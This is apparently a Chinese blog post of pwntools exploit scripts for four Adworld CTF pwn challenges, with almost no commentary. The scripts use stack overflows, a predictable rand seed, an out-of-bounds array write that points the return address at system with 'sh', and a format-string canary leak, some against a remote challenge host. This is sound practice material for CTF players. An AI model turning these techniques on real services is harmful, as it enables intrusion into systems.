攻防世界pwn高手进阶区 exp

原创

轩凌云 于 2020-09-12 19:55:52 发布 410 收藏 3
分类专栏： 攻防世界

dice_game

```
from pwn import *
from ctypes import *

lo = remote('220.249.52.133',45069)
#lo = process('./dice_game')
lib = cdll.LoadLibrary("libc.so.6")
lib.srand(1) #定义种子的值为1

#for i in range(50):
# num = lib.rand()%6 + 1
# print num
payload = 'a'*(0x50-0x10) + p64(1)
lo.recvuntil('Welcome, let me know your name:')
lo.sendline(payload)

for i in range(50):
 num = lib.rand()%6 + 1
 lo.recvuntil('Give me the point(1~6):')
 lo.sendline(str(num))
lo.interactive()
```

stack2

```
#编写的有些复杂，编程小白，哈哈。就不写函数优化代码了，有点懒，哈哈
from pwn import *
#p = remote('220.249.52.133',30520)
p = process('./stack2')
p.recvuntil('How many numbers you have:')
p.sendline('1')

p.recvuntil('Give me your numbers')
p.sendline('1')

#下面4小段在ret处传递system函数地址
p.recvuntil('exit')
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('132\n')
p.recvuntil('new number:')
```

```
p.sendline(str(0x50)+'\n')

p.recvuntil('exit')
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('133\n')
p.recvuntil('new number:')
p.sendline(str(0x84)+'\n')

p.recvuntil('exit')
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('134\n')
p.recvuntil('new number:')
p.sendline(str(0x04)+'\n' )

p.recvuntil('exit')
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('135\n')
p.recvuntil('new number:')
p.sendline(str(0x08)+'\n' )

#下面4个小段在system的参数区传递"sh"返回参数
p.recvuntil('exit')
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('140\n')
p.recvuntil('new number:')
p.sendline(str(0x87)+'\n')

p.recvuntil('exit')
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('141\n')
p.recvuntil('new number:')
p.sendline(str(0x89)+'\n')

p.recvuntil('exit')
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('142\n')
p.recvuntil('new number:')
p.sendline(str(0x04)+'\n' )

p.recvuntil('exit')
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('143\n')
p.recvuntil('new number:')
p.sendline(str(0x08)+'\n' )
p.recvuntil('exit')

p.sendline('5\n')
p.interactive()
```

forgot

```
from pwn import *

p=process('./forgot')
#p=remote('220.249.52.133',56302)
flag_addr = 0x080486CC
payload = b'A' * (0x74 - 0x54) + p32(flag_addr)
p.sendlineafter('>','555')
p.sendlineafter('>',payload)

p.interactive()
```

Mary_Morton

```
from pwn import *
r = remote('220.249.52.133',45737)
#r = process('./mary')
r.recvuntil('3. Exit the battle \n')
r.sendline('2')

r.sendline('%23$p')

canary=r.recv()
print canary   #接收的数据是字符串类型 但是16进制的格式
canary = int(canary,16)   #将字符串转换成数字
print canary


flag_addr=0x4008da
payload='a'*0x88+p64(canary)+'a'*8+p64(flag_addr)
r.recvuntil('3. Exit the battle')
r.sendline('1')
r.sendline(payload)

r.interactive()
```

更新中...